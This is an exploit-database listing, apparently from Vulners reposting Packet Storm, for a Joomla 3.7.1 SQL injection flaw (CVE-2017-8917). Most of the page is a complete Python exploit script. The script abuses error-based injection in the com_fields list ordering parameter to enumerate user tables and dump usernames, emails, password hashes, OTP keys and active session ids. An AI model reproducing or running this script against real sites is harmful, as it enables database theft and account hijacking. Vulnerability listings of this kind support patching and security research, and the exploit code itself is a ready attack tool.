Lucene search
K

📄 Joomla 3.7.1 SQL Injection

🗓️ 21 Apr 2025 00:00:00Reported by Milad KarimiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 375 Views

Joomla 3.7.1 has an SQL Injection vulnerability allowing unauthorized database access.

Related
Code
# Exploit Title: Joomla 3.7.1 - Sql Injection
    Date: 2025-04-16
    # Exploit Author: Milad Karimi (Ex3ptionaL)
    # Contact: [email protected]
    # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
    # MiRROR-H: https://mirror-h.org/search/hacker/49626/
    # Vendor Homepage: https://www.joomla.org/
    # Version: = 3.7.1
    # Tested on: Win, Ubuntu
    # CVE : - CVE-2017-8917
    
    
    #!/usr/bin/python
    from __future__ import print_function
    import requests
    import sys
    import re
    import argparse
    import os
    import random
    import time
    import binascii
    
    
    def extract_token(resp):
     match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
     if match is None:
      print(" [!] Cannot find CSRF token")
      return None
     return match.group(1)
    
    
    def parse_options():
     parser = argparse.ArgumentParser(description='Jooma Exploit')
     parser.add_argument('url', help='Base URL for Joomla site')
     return parser.parse_args()
    
    
    def build_sqli(colname, morequery):
     return "(SELECT " + colname + " " + morequery + ")"
    
    def joomla_370_sqli_extract(options, sess, token, colname, morequery):
     sqli = build_sqli("LENGTH("+colname+")", morequery)
     length = joomla_370_sqli(options, sess, token, sqli)
     if not length:
      return None
     length = int(length)
     maxbytes = 30
     offset = 0
     result = ''
     while length > offset:
      sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16),
    morequery)
      value = joomla_370_sqli(options, sess, token, sqli)
      if not value:
       print(" [!] Failed to retrieve string for query:", sqli)
       return None
      value = binascii.unhexlify(value).decode("utf-8")
      result += value
      offset += len(value)
     return result
    
    
    def joomla_370_sqli(options, sess, token, sqli):
     sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)"
     data = {
      'option': 'com_fields',
      'view': 'fields',
      'layout': 'modal',
      'list[fullordering]': sqli_full,
      token: '1',
     }
     resp = sess.get(options.url +
    "/index.php?option=com_fields&view=fields&layout=modal", params=data,
    allow_redirects=False)
     match = re.search(r'XPATH syntax
    error:\s*&#039;([^$\n]+)\s*&#039;\s*</bl', resp.text, re.S)
     if match:
      match = match.group(1).strip()
      if match[0] != ':' and match[-1] != ':':
       return None
      return match[1:-1]
    
    
    def extract_joomla_tables(options, sess, token):
     tables = list()
     first = False
     offset = 0
     while True:
      result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME",
    "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT
    " + str(offset) + ",1" )
      if result is None:
       if first:
        print("[!] Failed to retrieve first table name!")
        return False
       break
      tables.append(result)
      print(" - Found table:", result)
      first = False
      offset += 1
     return tables
    
    
    def extract_joomla_users(options, sess, token, table_name):
     users = list()
     offset = 0
     first = False
     print(" - Extracting users from", table_name)
     while True:
      result = joomla_370_sqli_extract(options, sess, token,
    "CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)",
    "FROM %s ORDER BY registerDate ASC LIMIT %d,1" % (table_name, offset) )
      if result is None:
       if first:
        print("[!] Failed to retrieve user from table!")
        return False
       break
      result = result.split('|')
      print(" [$] Found user",result)
      first = False
      offset += 1
      users.append(result)
     return users
    
    
    
    
    def extract_joomla_sessions(options, sess, token, table_name):
     sessions = list()
     offset = 0
     first = False
     print(" - Extracting sessions from", table_name)
     while True:
      result = joomla_370_sqli_extract(options, sess, token,
    "CONCAT(userid,0x7c,session_id,0x7c,username)", "FROM %s WHERE guest = 0
    LIMIT %d,1" % (table_name, offset) )
      if result is None:
       if first:
        print("[!] Failed to retrieve session from table!")
        return False
       break
      result = result.split('|')
      print(" [$] Found session", result)
      first = False
      offset += 1
      sessions.append(result)
     return sessions
    
    
    
    
    def pwn_joomla_again(options):
     sess = requests.Session()
    
     print(" [-] Fetching CSRF token")
     resp = sess.get(options.url + "/index.php/component/users/?view=login")
     token = extract_token(resp)
     if not token:
      return False
    
     # Verify that we can perform SQLi
     print(" [-] Testing SQLi")
     result = joomla_370_sqli(options, sess, token, "128+127")
     if result != "255":
      print(" [!] Could not find SQLi output!")
      return False
    
     tables = extract_joomla_tables(options, sess, token)
    
     for table_name in tables:
      table_prefix = table_name[:-5]
      extract_joomla_users(options, sess, token, table_name)
      extract_joomla_sessions(options, sess, token, table_prefix + 'session')
    
     return True
    
    def print_logo():
     clear = "\x1b[0m"
     colors = [31, 32, 33, 34, 35, 36]
    
     logo = """
    
        .---. .-'''-. .-'''-.
    
        | | ' _ \ ' _ \ .---.
        '---' / /` '. \ / /` '. \ __ __ ___ /| | | .
        .---.. | \ ' . | \ ' | |/ `.' `. || | | .'|
        | || ' | '| ' | '| .-. .-. '|| | | < |
        | |\ \ / / \ \ / / | | | | | ||| __ | | __ | |
        | | `. ` ..' / `. ` ..' / | | | | | |||/'__ '. | | .:--.'. | | .'''-.
    
        | | '-...-'` '-...-'` | | | | | ||:/` '. '| |/ | \ | | |/.'''. \
        | | | | | | | ||| | || |`" __ | | | / | |
        | | |__| |__| |__|||\ / '| | .'.''| | | | | |
     __.' ' |/\'..' / '---'/ / | |_| | | |
    | ' ' `'-'` \ \._,\ '/| '. | '.
    |____.' `--' `" '---' '---'
    """
     for line in logo.split("\n"):
      sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line,
    clear))
      #time.sleep(0.05)
    
    def main(base_url):
     options = parse_options()
     options.url = options.url.rstrip('/')
     print_logo()
     pwn_joomla_again(options)
    
    if __name__ == "__main__":
     sys.exit(main("http://192.168.10.100:8080/joomla"))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2025 00:00Current
10High risk
Vulners AI Score10
CVSS 27.5
CVSS 39.8
EPSS0.94513
375